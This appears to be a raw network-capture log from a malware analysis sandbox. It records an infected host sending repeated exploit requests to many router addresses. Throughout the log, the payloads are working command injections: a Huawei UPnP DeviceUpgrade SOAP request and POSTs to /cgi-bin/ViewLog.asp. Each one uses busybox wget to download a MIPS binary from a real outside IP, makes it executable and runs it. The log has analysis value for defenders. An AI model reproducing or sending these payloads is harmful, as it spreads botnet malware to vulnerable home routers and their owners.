Nov 23, 2023 05:17:54.701437950 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:17:58.822201014 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:04.966255903 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Nov 23, 2023 05:18:16.998150110 CET	874	OUT	POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: / Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
610	192.168.2.13	53184	85.69.34.103	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:54.903497934 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.494235039 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:56.646219969 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:59.078227997 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:03.686188936 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:12.902173996 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
611	192.168.2.13	55030	62.29.46.85	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:54.937448025 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
612	192.168.2.13	36202	94.122.200.174	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.090841055 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
613	192.168.2.13	47610	61.139.119.219	23

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.221024036 CET	233	IN	HTTP/1.0 200 OK Server: Proxy Data Raw: 0d 0a 0d 0a 0d 0a 55 6e 61 75 74 68 6f 72 69 7a 65 64 20 2e 2e 2e 0d 0a 0d 0a 49 50 20 41 64 64 72 65 73 73 3a 20 38 39 2e 31 34 39 2e 31 38 2e 36 30 0d 0a 4d 41 43 20 41 64 64 72 65 73 73 3a 20 0d 0a 53 65 72 76 65 72 20 54 69 6d 65 3a 20 32 30 32 33 2d 31 31 2d 32 33 20 31 32 3a 31 37 3a 34 38 0d 0a 41 75 74 68 20 52 65 73 75 6c 74 3a 20 e6 97 a0 e6 95 88 e7 94 a8 e6 88 b7 2e 0d 0a 0d 0a 0d 0a Data Ascii: Unauthorized ...IP Address: 89.149.18.60MAC Address: Server Time: 2023-11-23 12:17:48Auth Result: .

Session ID	Source IP	Source Port	Destination IP	Destination Port
614	192.168.2.13	53156	95.85.24.12	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.548007011 CET	416	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:55.731780052 CET	550	IN	HTTP/1.1 400 Bad Request Date: Thu, 23 Nov 2023 02:57:38 GMT Server: Apache/2.4.7 (Ubuntu) Content-Length: 303 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 37 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 31 39 32 2e 31 36 38 2e 30 2e 31 34 20 50 6f 72 74 20 38 30 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p><hr><address>Apache/2.4.7 (Ubuntu) Server at 192.168.0.14 Port 80</address></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
615	192.168.2.13	37812	31.136.179.225	8080

Timestamp	Bytes transferred	Direction	Data
Nov 23, 2023 05:17:55.551723957 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:17:58.566221952 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:04.710205078 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
Nov 23, 2023 05:18:16.742275953 CET	404	OUT	POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: 192.168.0.14:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: python-requests/2.20.0 Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel

Session ID	Source IP	Source Port	Destination IP	Destination Port
616	192.168.2.13	56454	62.29.126.232	8080

Timestamp	Bytes transferred	Direction	Data
